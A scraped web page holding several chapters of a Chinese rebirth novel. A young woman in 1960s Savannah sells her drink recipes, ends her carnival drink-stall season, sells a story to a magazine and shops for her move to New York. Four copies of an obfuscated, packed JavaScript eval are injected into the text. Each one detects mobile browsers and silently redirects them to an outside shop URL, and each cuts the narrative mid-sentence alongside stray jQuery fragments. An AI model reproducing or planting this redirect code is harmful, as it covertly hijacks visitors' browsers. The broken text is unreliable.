;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16619174|187792||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
巧克力豆的包装上...是的,雀巢没卖巧克力豆曲奇,依旧在卖巧克力豆,只是赠送了一个配方,让家庭主妇更有动力购买他们的巧克力豆而已。
然后,后者的著名例子是美国人餐桌上都少不了的牧场沙拉酱。
在五十年代末,其发明者将其弄成了干粉包,以邮寄的方式出售。买到的人还得混入酪乳、蛋黄酱等材料,才能得到其描述中的沙拉酱。虽然很粗糙,还是个半成品,但靠着味道合上了美国人的心意,这款干粉包卖的超级好!
历史上,这款干粉包不断扩展销售版图,整个六十年代就是其征服史。然后大概是70年代初,美国食品业巨头收购了这款酱汁,花了800万美元。
“呵呵...”欧森食品工厂的人干笑了几声,算是承认了丽莲的话,然后才清了清嗓子说:“但这总归是个收入,不是吗?而且恕我直言,富尼叶小姐并不像是要经营饮料摊车的女孩,如果您想,随时可以远离这种生活。”
不用说的太明白,丽莲都知道对方是什么意思,她也懒得分辨什么——而且有一说一,对方的过程错了,但结果却大差不差,丽莲也不认为自己真的要长期经营饮料摊。这次萨凡纳嘉年华后,她就要去纽约了。
“这是您的想法,我依旧是那句话,你们可以开价了,价格合适我就会卖,不合适就不卖,事情就这么简单。”丽莲双手抱臂,做出一副有所防备、的确不太在意这件事的样子。
“好吧,好吧,您很心急,不过年轻的小姐总是缺乏耐心,这一点我完全明白。”头发都白了的研发部领头的,笑了笑,一副体谅年轻人的样子:“那么,除了冰美式咖啡,其他5种饮料,每种30美元,一共150美元,怎么样?”
丽莲转身就要走,对方当然是立刻拦住她,张口就加了10美元,每种给到了40美元。
丽莲依旧不同意,但至少没有转身就要走了,而是开口说:“1种饮料配方200美元,一共1000美元。”
“不不不,这个价格太高了,花1000美元买一个配方,这是以前从来没有过的。您那儿来的配方我们也不能直接使用,富尼叶小姐,你要知道,和你在厨房里制作这些可口饮料不一样,工厂生产是另一回事...这些饮料能不能进入复刻流程是一个问题,复刻能否成功又是问题,而且复刻成功也不见得会受到市场欢迎。”
丽莲一点儿不放松,说道:“能否复刻,复刻的商品能否受到欢迎,这是你们应当承担的风险。如果一切都有保障,就不会是这个价格了,不是吗?”
并且强调道:“我这不是一个配方,而是5种饮料的配方!一个配方200美元,我认为这已经很公道了!”
接着又是双方的讨价还价,因为的确一方想买,一方想卖,讲价到了总共600美元成交——丽莲不算很满意这个价格,但也不是不能接受,这本来就是意外之财,不是吗?
毕竟自己一直经营饮料摊的生意,或者开咖啡厅,甚至开食品厂生产它们,这本来就是不太可能的。既然如此,这个时候卖掉也不错——可能其他食品生产商、连锁餐厅愿意花更高的价钱,但那也只是一个可能,说不定是过了这村没这店呢?
主要还是丽莲恢复了上辈子的记忆,也不在乎几个饮料配方,所以非常果断。
9. 萨凡纳嘉年华(9)
丽莲卖出了饮料配方,还和欧森食品签订了合同。合同也比较简单,最重要的无非是丽莲今后不能再将配方卖出。另外,哪怕是她自己或当下的饮料摊合伙人玛丽使用,也局限于这种摊车,不能开店,连锁经营就更不行了。
欧森食品不是不想完全禁止丽莲对这些饮料的商用——一方面是丽莲坚持,她自己是没有想法一直卖饮料,但这对玛丽来说却是可以一直做下去的。她随父母辗转不同的移动游乐场,就可以在不同的地方摆摊,收入肯定不错。
当然,如果欧森食品真的复刻出了这几种饮料并且推向市场,这对饮料摊可能会有一些影响?但问题其实也不大,就像几十年后也有瓶装奶茶卖,但奶茶店不是依旧开遍了大街小巷?
对于这一点的坚持,丽莲也振振有词——600块算什么?她的饮料摊嘉年华期间两个礼拜就赚到了!如果卖给欧森食品,就不能再做这个生意,那是绝对不行的,除非欧森食品开大价钱,给她一个不能拒绝的数字。
这一点欧森食品当然无法做到。
另一方面,也是因为移动经营的摊车本来就很难监督,丽莲有没有按照原配方继续经营摊车,欧森食品其实是很难知道的,总不能一直派人监视她吧?鉴于此,干脆就没有完全禁止丽莲和玛丽今后卖这些饮料。
反正摊车而已,根本影响不到推向市场的产品。
“600块?所以他们真的是泰森食品的职员喽?哇!我妈经常买的麦片和豆子罐头,都是泰森的呢。”得知丽莲卖掉配方拿到600美元后,玛丽有些羡慕,但同时也知道这是丽莲应得的。
丽莲将枕头拍打得松软,准备上床睡觉,听玛丽这样说就想了想说:“他们的确是有实力的食品工厂...不过卖断饮料配方并不妨碍我们开摊车,这次萨凡纳嘉年华之后,即使我不做了,你也可以继续做,只是不能开店。”
“明天开始,准备饮料时,我来协助,你来做主角吧。”之前虽然是两个人一起做这些工作,但玛丽都是打打下手而已。即使这足够她弄清楚配方了,可配方是一回事,实践是另一回事,丽莲希望自己人在萨凡纳时尽量教会玛丽。
“当然,我是说你愿意的话,如果你无意——”
玛丽迫不及待地打断了丽莲:“愿意!我当然愿意!哦!亲爱的,你真是太好了。”
事情就这样说定了,不必再提。而就这样忙碌了两天,玛丽的姐姐珍妮弗从纽约回家了。
珍妮弗·华莱士是佐治亚大学的学生,之所以会从纽约回来,是因为她被《少女》杂志选中,去纽约做了一个月的客座编辑——《少女》杂志是一份在全美也很有影响力的杂志,针对的读者正如杂志名字一样,是年轻女孩。更具体一些说,是此时所谓‘好人家’的女孩儿。
或许不是什么富有的女继承人,但至少也是中产出身,而且很多本身就是大学生。
这份杂志非常有创意的一点是,他们首创了‘大学委员会’。即通过号召读者中的女大学生积极为杂志提供信息。这些信息就是她们日常生活中能看到的,比如说她们自己以及身边的女同学中流行什么、关注什么、消费什么......
这些被号召起来的女大学生再优中选优,总共有几百名(具体来说是850名),成了《少女》杂志的‘大学委员会’,源源不断地为杂志提供版面内容,确保了杂志不会在读者眼中‘落伍’。
然而这还嫌不够,《少女》杂志之后又推出了‘客座编辑’。客座编辑都是女大学生,她们通过投稿参加《少女》杂志的征文比赛获奖,然后就会在当年被邀请成为6月的《少女》杂志客座编辑。整个6月她们都将住在纽约的知名酒店‘巴比松大饭店’,与《少女》杂志的正式编辑们共事。
这些客座编辑真正参与多少工作并不好说,但她们确实给杂志带来了新风,是杂志与读者之间直接的桥梁。
而且‘客座编辑’也是一个很好的噱头,《少女》的读者都很关注客座编辑。这些客座编辑从她们中来,同时又是最出众的,往往聪明又有品位...这其实和多年以后自媒体时代、所谓的‘意见领袖’很像了。没那么权威,辐射范围不那么大,反而让受其影响的人更死忠。
所以由这些客座编辑参与制作的8月大学生专刊(每年固定),总是大受欢迎——当然,这也和杂志内部重视大学生专刊,总会在这个月填充足够好的内容。以及在新学年开始前,一本‘大学生专刊’真的对新生和返校大学生有重大参考作用有关。
珍妮弗·华莱士可以成为《少女》的客座编辑,毋庸置疑,她在同龄人中绝对是出类拔萃的优秀——实际也是如此,丽莲一直挺敬佩玛丽这个姐姐的。
“...是的,亲爱的,我听玛丽说了你的事,真可惜你没法今年入学...你是打算这一年积攒学费吗?那可不太容易,哥伦比亚大学都是富家子弟,他们的学费也贵得让人吃惊。”珍妮弗回到家就坐到自己那张小床上说,这张小床上现在是丽莲的床品。
她其实不看好丽莲工作一年多,攒出学费的想法。
美国最好的大学基本是私立的,学费都不便宜,当下即使没有膨胀到丽莲上辈子那地步,其实也很惊人了。如果硬要说哪些比较有‘性价比’,大概就是哈佛、耶鲁、普林斯顿等几所排在前几的了,因为他们排名最高,但学费往往只到前几十而已。
这样算起来,地处纽约的哥伦比亚大学对不是富家子弟的年轻人,确实不怎么友好。虽然它也是藤校,可如果考得上哥大,为什么不去考其他藤校呢?就算哈佛、耶鲁等不大好考,也有和哥大差不多的吧?
如果不是本身家底丰厚,又或者有其他特殊原因,哥大确实很难说是一个恰当的选择。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16619175|187792||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>这一点丽莲其实也没办法,美国此时的好大学也不是随便她考的,特别那时候她还没恢复上辈子的记忆呢!所以也只能说是一个普通的优等生而已,不算天才。在她报考成功的大学里,哥大就是最好的,其他都差了一个等次。
这种情况下,哪怕哥大比较贵,也只能硬着头皮选择哥大了——而且说实话,哥大虽贵,但顶级大学的学费和他也是一个级别的。真的要花一年多去凑学费,如果能凑齐哈佛的,那估计凑齐哥大的也没问题了,反正都不是正常打工能积攒的,得‘非常规’才行。
丽莲看了看自己的床单,打算收拾自己的东西,将床还给珍妮弗。接下来一段时间,她可能得睡沙发,或者在玛丽、珍妮弗的房间里打地铺了。这倒不是她舍不得钱去住旅馆,而是她现在每天和玛丽一起摆摊,住在外面会很不方便。
再说了,临时找住处哪有那么容易?至于说住旅馆,此时一个单身女性去住旅馆也很不容易。
正考虑这些时,听珍妮弗说起哥大的学费,丽莲也无奈地笑了笑:“没办法,哥大是我最好的选择了,除非我愿意再读一年,重新考试...那是另一种麻烦,而且就算到时候能考上又好又便宜的大学,也便宜不到哪儿去,不是吗?还不如这一年多挣一些钱。”
“emmmm,我认为我还是有可能的。”
“没错,我也认为丽莲能赚到大学学费...我们最近在游乐场里卖喝的,你知道挣了多少钱吗!”玛丽忍不住向自己的姐姐‘炫耀’。
相比起优秀的姐姐珍妮弗,玛丽一向是比较不起眼的那个,她也没考上像样的大学,这次高中毕业就不会继续读书了。而这次摆摊买饮料,赚到的钱居然那么多,算是一次小小成功了——这次珍妮弗去纽约给《少女》杂志做了一个月的客座编辑,报酬是175美元(包括住酒店的费用)。
这可远远比不上她在游乐场摆摊两个月!
华莱士家可是做游乐场的,珍妮弗虽然对此并不感兴趣,但也知道游乐场里的小摊小贩大致的营业情况,有些不以为然:“多少?”
“不算前期投入,就是摊位费什么的,之前嘉年华期间,每天能有四五十块呢!之后虽然没那么好了,但平均也有二三十块。我和丽莲两个人分,我能分到1/3,你自己算吧...等到这次游乐场搬走,我就有一大笔钱了!”玛丽兴高采烈地说。
这个数字确实让珍妮弗吃惊,她用掂量的眼神看自己的妹妹,似乎是想判断这是真的,还是妹妹在说大话——如果说的是真的,丽莲这两个月挣到的钱,虽然远不够4年学费,但第一年的学费是够了(虽说大学期间除了学费,还有学杂费、生活费等开支)。
这样看来,丽莲靠自己上私立大学中也算非常贵的哥大,也不是毫无希望——离明年大学开学还有一年左右,谁知道期间会不会出现新机会呢?
10. 巴比松大饭店(1)
实际上,新机会很快出现了。
7月中下旬时,丽莲依旧每天和玛丽出摊卖饮料,除非下雨——下雨的时候,会走进游乐场的人本来就很少了,会想要在饮料摊买饮料的人就更少了,根本没必要出摊,就当是难得的休假日好了。
就是这样一个早上就开始下雨的日子,华莱士家的小男孩儿从邮箱里取出了今天的报纸、信件等。比较让人意外的是,其中有一封信居然是给丽莲的。
“给我的吗?”丽莲接过米黄色信封的信,看了一眼就顿住了,撕开信封的动作都变得小心了很多。
信封上的寄信人信息显示这封信来自一家杂志社,就丽莲所知,自己和这家杂志社唯一能扯上的关系,就是她曾经投稿过——她上辈子毕业后找的是对口的工作,虽然目标是做电视剧编剧,但因为初出茅庐、没有选择,最后被安排到了真人秀做编剧助理......
嗯,没毛病,那时候综艺节目必不可少,除了参演本来就有‘剧本’,还在于节目也需要剧本。就以丽莲唯一参与过的那档节目来说,是个户外真人秀,每期要设定故事背景,没编剧不行。
总之,林千秋也曾是个和文字、故事打交道,甚至以此为生的人了。在意识到没有本钱,即使身在六十年代的美国也没办法发财后,当然也想过写故事赚钱,谁让这一行不需要本钱呢?
只是这一行也不像她想的那么简单,写剧本和写小说有很大不同,更何况她在剧本写作上其实也只是个菜鸟。
这一点恢复上辈子的记忆也没太大帮助,和中文打交道的能力显然不能完全平移到英语上——她或许可以有超出这个时代的‘创意’,但创意没有文字做支撑也是空中楼阁。就像钻石包裹在石头里,绝大部分人根本意识不到其价值。
察觉到困难后,丽莲并没有放弃。一方面是,日常有空了写写,也不妨碍什么——反正这个年代都没什么可玩儿的!至少在她身处萨凡纳这个南方小城,也没什么钱的情况下,情况就是这样。
另一方面,其实也和丽莲想在这个时代继续上辈子的理想有关...上辈子从事编剧这一行,就是因为理想。这辈子的话,她觉得根据‘先知先觉’的优势,不说巨富,成为广义上的‘富人’是不难的,即使她现在还在为大学学费奔走。
财务自由的未来她一点儿也不怀疑,这种情况下,当然会优先考虑实现理想。
而仔细想想,在六七十年代的美国,要做电视剧编剧或者综艺节目编剧,都还挺合适的——美国电视产业在六十年代迎来了蓬勃发展期,就在1960年的当下,每10个家庭中只有一个家庭没有电视机。换句话说,电视台和制作公司突然就要为90%以上的家庭提供节目了!
可想而知,这一行业钱途无量、朝气蓬勃!而一个钱途无量、朝气蓬勃的行业,在资本主义大本营,理所当然就会吸引到足够多的人才、技术。
不过丽莲都重生了,当然不会将目标定为简单的编剧。虽然电视产业中,编剧经常是中心(很多国家的电视剧制作都是编剧中心制,和电影的导演中心制相对应),但这不够!编剧也是打工人,实际也没办法真正掌控自己的项目。
丽莲想要成为能做主的那个,大boss什么的。
这样一来,事情就又回到了原点,她需要钱——不过花钱当老板什么的先不说,至少成为作家也是不错的曲线救国的路子。毕竟作品受欢迎,影视化改编在这时也很常见了。到时候手握版权,进而要成为编剧就很简单了。
反之,如果手里什么牌都没有,大大咧咧就要去做编剧,好一点的项目都是不收的(尤其她还是个女性,1960年代的美国,‘创造性’的岗位可是很少为女性打开大门的)。或者收了,进去也是打杂、当枪手,真正出头不知道要付出什么代价、等多久!
所以,为了理想,也出于‘闲着也是闲着,试试不亏’的心态,丽莲自从恢复上辈子的记忆,就一直向杂志投一些小故事了。但之前的投稿都石沉大海,偶尔有的杂志社比较体贴,还会发一封退稿函让她死心,多数则是杳无音讯。
这次又是来自杂志社的信,丽莲说不准这是退稿函,还是带来好消息的校稿信(一般很少有直接采用的,特别是新人,修改个一两次再发表很正常)。
“哇哦!”丽莲打开信纸,看到开头一小段就忍不住欢呼了一声,这引来了餐桌上其他人的注意。
只看开头就知道这是稿件被采用了,而且和信纸一起的不是另一张信纸,而是一张支票——她的故事不需要修改,直接被采用了,所以稿费就直接发过来了。
珍妮弗坐在丽莲一侧,瞥了一眼,以一个《少女》杂志客座编辑的敏锐,一下意识到这是什么东西。她惊讶地瞧了瞧丽莲:“...《红龙》杂志?我记得是一本纽约的杂志吧,虽然登载的作品多数是小众的惊悚故事,发行量不算大,但也不算无名之辈了。”
“丽莲还投稿给杂志?”
玛丽立刻说道:“当然了!丽莲把出去约会的时间都节省下来写作了...我看过她写的故事,很不错呢!说不定她和你一样,也有写作上的天赋。”
所谓《少女》杂志的客座编辑,本来就是征文比赛选出来的,当然每一个都是善于写作的,至少在同龄女孩中是如此。
“那倒是不错。”珍妮弗说不准丽莲是这次运气好,还是真有天赋,但这个时候也不可能说扫兴的话,所以她也只是点点头、随口问道:“拿到稿费了吗?《红龙》杂志为你的故事出多少钱?”
丽莲将支票晃了晃:
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16619176|187792||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
“还不错,5000词左右的故事有60块呢!”
珍妮弗‘唔’了一声:“以《红龙》的档次,这个价格有点儿低。这个篇幅的故事,哪怕是新人,他们一般也能给到八九十块...不过这一行也没什么可说的,新人的话,再荒谬的低价都有可能。”
作家这个行业,上下差距很大,功成名就是他们,经典的文人受穷也是他们。
这个时候如果算丽莲为了写这个故事付出的劳动,60美元肯定是划不来的——不算这个故事被录取的情况下,更多的故事沉没,单纯说写这个故事,也比丽莲卖几天饮料费精力多了。
新人一般也都是这样,收获与付出不成正比。大家之所以能坚持下来,是因为热爱,也是因为怀着成功的希望。
丽莲看重的也不是60块的稿费,而是稿子被录取就说明她多少还有点天赋。
这样的‘肯定’至少能让她多坚持半年——而事实是,根本不需要半年,只过了半个月又有两个邮件寄给了她。一个是新一期的《红龙》,杂志给当期有作品登载的作者寄一本是惯例,另一个却来自一位‘文学代理人’。
哈!文学代理人。
在丽莲的理解中,文学代理人兼具编辑、经纪人、律师等的作用,但又和那些不完全一样。因为他们在美国出版界非常常见,所以丽莲有稍微了解一些。
文学代理人一般会从杂志上搜索文章,发掘他们觉得有潜力的新人,然后在作家和出版社之间穿针引线——这要求他们有很好的文学品味和市场嗅觉,同时还要有出版社那边的关系,而这二者都是新人急缺的。
新人需要有人能指导他们写作前进的方向,也需要有人能帮忙向出版社推介自己的作品。
当然了,代理人也会从作家的报酬中抽取一定比例,只是新人阶段那点儿收入根本没人在意,这阶段代理人甚至会接济穷困潦倒的作家...不过,一旦客户里有一个新人走红了,那之前的所有投入都不算什么了。
这位文学代理人是怎么得到自己地址的,丽莲不用猜也知道,估计是和《红龙》杂志有关系。而他写信给自己,目的也是不言自明的,肯定是看好自己,想要签下自己的代理合同——丽莲并没有做决定要不要和这个文学代理人签约,不过多出一个选择总是好的。
丽莲不确定这个文学代理人是否可靠,不过从他的信来说还是很诚恳的。这封不算短的信中,对方分析了她那个发表在《红龙》上的故事。重点指明了她创意很好,但文字功底撑不起文笔的现状,觉得他最好能去纽约(这个文学代理人显然在纽约活动),他可以给他找一份文字工作,一边挣钱、一边训练写作能力。
嗯,还愿意给她负担路费...这真是文学代理人非常看好才会有的做法了。
11. 巴比松大饭店(2)
“是的,只有冰红茶和冰美式了,您还要吗?”丽莲微笑着说。
当下是8月10日,也是移动游乐场今年在萨凡纳的最后一天了。明天开始,大家就会拆除设施并打包存进仓库,然后休息小半个月,直到准备在另一座城市的开业。
大概是因为最后一天?即使这一天是礼拜三,而不是周末,游乐场的生意也很不错,至少丽莲和玛丽的饮料摊都做到了周末才有的营业额。
到了快收摊的时候,饮料桶里基本空了,只有冰红茶和冰美式还剩一些,她们也不准备这个时候还上新了。
“呃...冰红茶吧...两杯。”顾客之一,一个年轻女孩扭头和自己的朋友说:“我上次光顾过这儿,我保证冰红茶的味道很不错,不用去外面的店——我是说,时间太晚了,我不太想去酒吧。我妈警告过我,说我如果再超过10点回家,这个暑假就别想出门了!”
等到这两位顾客走了,再看看游乐场内零零散散准备离开的游客,以及都在准备收摊的摊贩,丽莲和玛丽也行动起来。这期间也还有顾客光顾,卖出了一杯冰美式、一杯冰红茶,这样冰红茶大概只剩下了两杯的量,冰美式也不会剩超过5杯。
都不用拿回家去,和其他摊贩交换一些剩的吃的就行了,还省了晚上费事弄宵夜的功夫——工作到这么晚,她们这个年纪肯定是要吃宵夜的。
这一晚丽莲和玛丽都格外兴致勃勃,一点儿劳累一天后的睡意都没有!因为这是最后一天,她们要算账了!
“...两个月的经营,一开始的固定投资不算,除掉中间的开支,净利润是1491块!嗯,这样的话,我就能分到497块了!哇,有这么多吗?我简直不知道该怎么花了。”虽说之前的进账看在眼里,这些都是心中有数的,但算出总账之后,玛丽还是感到惊叹。
毕竟几个月以前她还是个上高中的女学生,口袋里的零用钱从来没有超过过10美元。而现在,忽然有近500美元的‘巨款’砸下,她是真的花都不知道怎么花了——她平常攒钱想买的东西,就算全部买下,也花不了这么多。
相比之下,丽莲就要淡定多了。两个月饮料摊的经营她赚到了近千美元,如果算上卖饮料配方的钱,这两个月她就有1600美元,超过了她之前的存款。这多吗?当然多。但相对她的目标,以及她的眼界,又都是小钱了。
第二天就把最近赚的钱存进了自己的户头,这个时候丽莲的银行账户上就趟了2500美元,这在此时绝对是一笔很大的款子了。另外她手头还有一些零钱,零零散散总有一百多吧,之所以留这么多,是因为要做一次采购——她马上要去纽约了,当然要做一些准备。
是的,去纽约,这本就是丽莲计划中的事,再加上那位文学代理人的邀请,她简直非去不可了。
那次文学代理人来信后,丽莲也有回信给对方,双方基本有了约定。倒不是丽莲一定要和对方合作,到底怎么样还得见了面才能谈,但对方显然可以是个后备选项。
丽莲还没决定去了纽约做什么,原本计划是见机行事,谁知道在纽约能遇到什么好机会呢?不过说实话,丽莲并不觉得自己是什么经营天才,而身处六十年代的美国,她也没办法搞什么发明创造——这个年代发明出来的东西基本都得专业人士来了,可不是她一个‘文科生’能搞定的!
这种时候,丽莲甚至会抱怨,怎么不干脆重生到八九十年代?那个时候一些上辈子出名的科技公司应该也创立了,买它们的股票也不是不行。身处六十年代,既没办法搞‘发明创造’,也对当下的股市不了解......
丽莲或许知道一些东西很有前途,如果能自己弄出来,也可以大富大贵,可那又需要不少的本钱。这种情况,对个人消费堪称巨款的2500美元,又只是杯水车薪了。
所以,写作还真是个方向,不仅可以给她未来成为编剧铺路,也是少有的不需要本钱,还能以小博大的选择了。
当然,这一行的成功率低是个问题。要知道在这个纸书阅读时代,绝大多数人根本没法入行,且入行的多数人也根本没法靠这个养活自己,最终能以此为业养活自己的人里才有个别作家称得上富裕。
但丽莲还是觉得自己可以试试,一来是她有未来大几十年的见识,这可是巨大的优势。甚至上辈子虽然没写过小说,但作为编剧也算是半个专业人士吧?就是转用英文写作,一开始真有些不适应(虽然这辈子从小就用英文听说读写了,可写作是另一种感觉,丽莲总有一种滞涩感)。
二来就是写作几个月就有杂志愿意发她的小说,另外还有文学代理人主动联系她...虽说这其中可能有运气因素,文学代理人也可能只是‘普遍撒网’。但不管怎么说,这都是一种认可,证明她比闯入这行的一般人有天赋!
于是对写作这件事有了一些想法的丽莲,就对文学代理人说了自己在‘老家’还有一些事要处理,得等到8月中旬才能去纽约。文学代理人也对此表示理解,只请她到纽约后务必联系自己......
“怎么样?我觉得这条裙子很别致,而且它还很便宜!才要4块9毛8呢!”伍德兄弟百货公司的女装部的‘低档区’,玛丽从成排的衣架中拉出一条鹅黄色的连衣裙,征询丽莲和姐姐珍妮弗的一件。
准备去纽约的采购活动中,珍妮弗和玛丽姐妹都和丽莲一起出动了。其中珍妮弗刚从纽约回来,可以基于纽约的流行以及需要,给出切实的建议。玛丽则是自己也有购物需求,她可是刚刚到手近五百块呢!
丽莲走过去看,发现这条裙子的材质是纯棉的,版型和走线都很不错,从廓形上是这个时代连衣裙典型的伞裙样式,放在几十年后其实也一点儿不错——虽然这片是‘低档区’,但其实不代表这里的东西就差。
丽莲在伍德百货公司上过班,所以知道一些会出现在时尚杂志上的服饰都在高档区,和普通衣服有很大区别。但中档区和低档区的衣服就没有本质不同了,只不过中档区有‘导购’,只需要和导购说明自己的需求,她们就会把所有适合的衣服拿过来给顾客试穿,并给出自己的专业意见。
当然,中档区的衣服平均质量还是比低档区的好一些的,但多数溢价还是源于服务。
尤其是现在夏天快结束了,一些原本在中档区的夏装也堆到了低档区降价促销,这就更有吸引力了——比如玛丽看中的那条裙子,看价签上的数字,原价应该是6块9毛8,现在被划掉了,旁边是新的、手写的4块9毛八。
“这条裙子不错,如果有你的号码的确可以买一件,不过不适合丽莲。”珍妮弗也上手摸了摸裙子,点点头说:“这是少女款式的服装,并非是你们的年纪不适合,但丽莲要去纽约打拼了,要想让人重视她,她得穿的成熟点儿。”
1960年美国的服装风格在几十年后看来,已经是‘现代服装’了,但着装要求上却和一百年前的近代差不多。那就是什么人穿什么衣服,什么场合穿什么衣服——当然,这都是对有一定经济实力的人来说的,没钱的人当然有什么穿什么。
所以珍妮弗让丽莲忽略少女服饰,是很实际的。
丽莲倒也有相对成熟的服装,但基本是秋冬的,是之前在拉斯维加斯时置的装...那时候她是流动剧团的演员,下班之后很多人都想约她,多数情况下她都不予理会,但也不可能不出门。而只要出门,就得有相应的行头,不然根本不会被尊重。
尤其是在拉斯维加斯那种混乱的地方,先敬罗衣后敬人,穿的好一些还能省不少麻烦。
这些衣服带去纽约也够了,至少今年不用再采购昂贵的冬装,但春夏装呢?她之前在伍德兄弟百货公司上班,因为有百货公司发的工作套装,她都没买新衣服,下班后穿的也是上学时的旧衣服。包括之后卖饮料,还完全是女学生的样子,所以
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16619177|187792||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
严重缺乏合适的春夏装。
夏装只要买一套可以出门的就行了,毕竟夏天都快过去了,等到丽莲找到工作,需要每天出门,估计也能穿春秋装了。所以最后看来看去,就买了一条宝蓝色山东绸衬衫裙,裙摆也是伞形廓形,袖子是及肘的,所以相比起无袖和短袖的夏装,它还能穿久一些。
这条裙子因为是丝绸的,在低档区就算是比较贵的了。即使因为夏装即将下市而降价促销也要22块,不过三个女孩都觉得这很值。
“原价要31块8毛呢!我猜因为这是最后一个号了,剩下两件很难卖出去,不然不会这么便宜——4号的服装,腰还掐得那样细,瞧瞧这小腰。”看到丽莲换好,确定衣服合身,珍妮弗也是啧啧称奇。
此时的美区女装,2号就是xxs了,4号则是xs,6号、8号是S码,其实S码其实已经很瘦削了(美国70至90年代多次更新了尺码标准,同一个号标准变化很大,比如后世的女性模特,除了大码模特,普遍穿2号,甚至0号。六十年代则不然,4号,甚至6号的模特都很常见),堪称模特身材。
不过嘛,在日常饮食还没有被各种垃圾食品包围,甚至很多年轻姑娘孩提时代还会缺嘴的六十年代美国,S码并不少见,日常穿4号,甚至2号服装的女性也还有一些。
当然,最常见的还是10号、12号这样的M码,S码中的8号也还算常见,平常说的苗条匀称,差不多都是8号的。
说实话,这条4号的连衣裙丽莲能穿,除了她身材纤细外,本身就能穿4号服装外,腰天生就细也功不可没——她这辈子身高是五英尺七英寸(大约170厘米),体型摆在那里,腰围却只有25英寸(63.5厘米)。如果放在几十年后,这个腰围会不太好买裤子,但在此时却是女郎们梦寐以求的。
即使现在大家不再像维多利亚时代一样,会用紧身束腰勒出不盈一握的腰肢(那时女性束腰后的腰围普遍在19英寸到24英寸,所以斯嘉丽那17英寸的腰才称得上附近几个县里首屈一指),但审美肯定还是偏向细腰。
再加上饮食习惯和此时多少也有束身功能的塑身内衣,年轻女孩穿4码衣服(腰围24到26英寸)只能说要求高,但不能说苛刻。
4号的女装,腰围比后世2号衣服的腰围还要略细,大概是61厘米到66厘米。而这条裙子掐的偏细,就是61厘米左右,丽莲也得靠紧身内衣才能得体地穿上了。
“这条裙子确实不错,我还有一条蓝色的漆皮腰带,刚好搭配,就不用再买了。”丽莲对着穿衣镜里的自己点了点头。这种衬衫连衣裙,如果出门穿一般都会系一条皮带,当然不系也可以,只是系了会更精致一些。
这条连衣裙之后,丽莲又买了两套春秋的上下两件式套装。一套是羊毛材质,前襟三粒扣子小翻领的淡绿色外套,配有同色褶裙。一套是丝绸面子,前襟无扣、圆领、后面有拉链的上装配窄裙(腰部有一个很别致的打结装饰,不用束腰带了),上下都是一种恰到好处的紫红色,亮眼又高级,非常适合配金色首饰。
衣服都很美,不过美丽是有代价的,第一套就花了53块,第二套更贵,要70美元!
唯一的好消息是,当初在拉斯维加斯置装时,鞋帽包、时装珠宝,甚至腰带,她都有意识买了百搭款,这个时候倒是不用再买那些了,已有的凑活也能用。
除此之外,衣物类丽莲就只买了几件内衣、长筒丝袜、内搭衬衣,加起来也不过二十多块。
其实去纽约之前的采购,主要就是衣物类了,不然工业时代,纽约这种大城市什么没有呢——当然,衣服也有,还有更多更时髦的选择呢!只不过纽约稍有品质的服装都很贵,而且初到大城市千头万绪,还不如在家乡准备好。
珍妮弗之前去纽约时就是这样,不只是她,和她一样来自全国各地的《少女》杂志客座编辑基本都是这样。
12. 巴比松大饭店(3)
“真费钱啊,只是勉强够用就要快两百块了,这还是丽莲之前在拉斯维加斯已经置了一些行头...一个淑女的衣箱大概就是她们最大的支出了。”结束了采购,玛丽看到售货员将东西都打包起来,丽莲一部分拿现金付账,一部分则签了支票,对比自己的付账有些感慨地说。
玛丽到现在为止都是少女妆束,虽然相对此时的收入,那些衣服也不能说是便宜,但总归不会特别夸张——夏天的裙子最便宜,5块到10块之间就差不多了,就算是正式场合穿的,她这种家庭也不会买超过二十块的。冬装最贵,可其中最贵的羊毛大衣也不会买超过40块的(能穿很多年呢!)。
参考丽莲之前在百货公司上班,一个月底薪就有120块,算上提成很容易赚180、190,少女服饰价格尚可。
